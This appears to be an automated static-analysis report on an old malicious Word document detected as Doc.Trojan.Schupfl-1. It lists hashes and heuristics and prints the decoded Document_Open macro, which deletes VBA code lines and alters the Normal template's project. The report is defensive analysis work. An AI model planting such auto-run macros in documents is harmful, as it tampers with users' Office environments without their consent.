Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 61b34fd1865d1068…

MALICIOUS

Office (OLE)

28.5 KB Created: 1999-08-02 17:21:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fee5ea4670686de98432c1cead78a0f1 SHA-1: d0da83fd34a96d16e7d37539a78bcd4e9a4cf6d2 SHA-256: 61b34fd1865d10687657f1aa3fbd4425e8e928a06a9ec73ee808a2584bdcedfc
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Schupfl-1. It contains a VBA macro within the Document_Open subroutine. This macro attempts to delete lines from the current document's VBA project and modifies the description of the NormalTemplate, potentially corrupting the global template's macro container and preventing further macro execution. The extracted DOC BODY contains references to 'Schlupfloch', which may indicate a specific tool or variant.

Heuristics 3

  • ClamAV: Doc.Trojan.Schupfl-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Schupfl-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 498 bytes
SHA-256: c0c258cdcb8c6d951eaa73ba52f4137f9acb4028a81244aab2c2b56c0708ffe3
Detection
ClamAV: Doc.Trojan.Schupfl-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, 4
NormalTemplate.VBProject.Description = Chr(13)
End Sub
'I Would Like To Speak My Mind...
'But I'm Not Going To Waste My Time!
'Lys Is Bliss...

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